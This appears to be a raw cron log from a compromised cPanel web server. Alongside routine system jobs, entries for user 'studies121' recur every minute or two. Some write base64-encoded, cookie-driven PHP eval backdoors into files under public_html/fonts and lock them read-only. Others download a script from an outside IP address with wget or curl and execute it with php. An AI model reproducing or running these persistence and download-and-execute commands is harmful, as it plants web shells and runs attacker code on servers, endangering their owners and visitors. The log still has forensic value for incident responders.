Sep  6 19:32:01 ip-184-168-122-23 CROND[18725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:32:01 ip-184-168-122-23 CROND[18726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:32:01 ip-184-168-122-23 CROND[18727]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:33:01 ip-184-168-122-23 CROND[18836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:33:01 ip-184-168-122-23 CROND[18838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:33:01 ip-184-168-122-23 CROND[18840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:33:01 ip-184-168-122-23 CROND[18839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:34:01 ip-184-168-122-23 CROND[18950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:34:01 ip-184-168-122-23 CROND[18955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:34:01 ip-184-168-122-23 CROND[18952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:34:01 ip-184-168-122-23 CROND[18953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:34:01 ip-184-168-122-23 CROND[18954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:35:01 ip-184-168-122-23 CROND[19047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:35:01 ip-184-168-122-23 CROND[19049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:35:01 ip-184-168-122-23 CROND[19052]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 19:35:01 ip-184-168-122-23 CROND[19053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:35:01 ip-184-168-122-23 CROND[19056]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:35:01 ip-184-168-122-23 CROND[19051]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:35:01 ip-184-168-122-23 CROND[19054]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 19:35:01 ip-184-168-122-23 CROND[19057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:36:01 ip-184-168-122-23 CROND[19162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:36:01 ip-184-168-122-23 CROND[19164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:36:01 ip-184-168-122-23 CROND[19165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:36:01 ip-184-168-122-23 CROND[19167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:36:01 ip-184-168-122-23 CROND[19166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:37:01 ip-184-168-122-23 CROND[19253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:37:01 ip-184-168-122-23 CROND[19255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:37:01 ip-184-168-122-23 CROND[19256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:37:01 ip-184-168-122-23 CROND[19257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:38:01 ip-184-168-122-23 CROND[19329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:38:01 ip-184-168-122-23 CROND[19330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:38:01 ip-184-168-122-23 CROND[19332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:38:01 ip-184-168-122-23 CROND[19335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:38:01 ip-184-168-122-23 CROND[19336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:39:01 ip-184-168-122-23 CROND[19507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:39:01 ip-184-168-122-23 CROND[19509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:39:01 ip-184-168-122-23 CROND[19510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:39:01 ip-184-168-122-23 CROND[19511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:39:01 ip-184-168-122-23 CROND[19512]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 19:40:01 ip-184-168-122-23 CROND[19598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:40:01 ip-184-168-122-23 CROND[19599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:40:01 ip-184-168-122-23 CROND[19601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:40:01 ip-184-168-122-23 CROND[19600]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 19:40:01 ip-184-168-122-23 CROND[19602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:40:01 ip-184-168-122-23 CROND[19604]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:40:01 ip-184-168-122-23 CROND[19605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:40:01 ip-184-168-122-23 CROND[19606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:41:01 ip-184-168-122-23 CROND[19693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:41:01 ip-184-168-122-23 CROND[19696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:41:01 ip-184-168-122-23 CROND[19698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:41:01 ip-184-168-122-23 CROND[19697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:42:01 ip-184-168-122-23 CROND[19777]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:42:01 ip-184-168-122-23 CROND[19779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:42:01 ip-184-168-122-23 CROND[19780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:42:01 ip-184-168-122-23 CROND[19781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:42:01 ip-184-168-122-23 CROND[19782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:43:01 ip-184-168-122-23 CROND[19861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:43:01 ip-184-168-122-23 CROND[19864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:43:01 ip-184-168-122-23 CROND[19865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:43:01 ip-184-168-122-23 CROND[19866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:44:01 ip-184-168-122-23 CROND[20055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:44:01 ip-184-168-122-23 CROND[20059]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
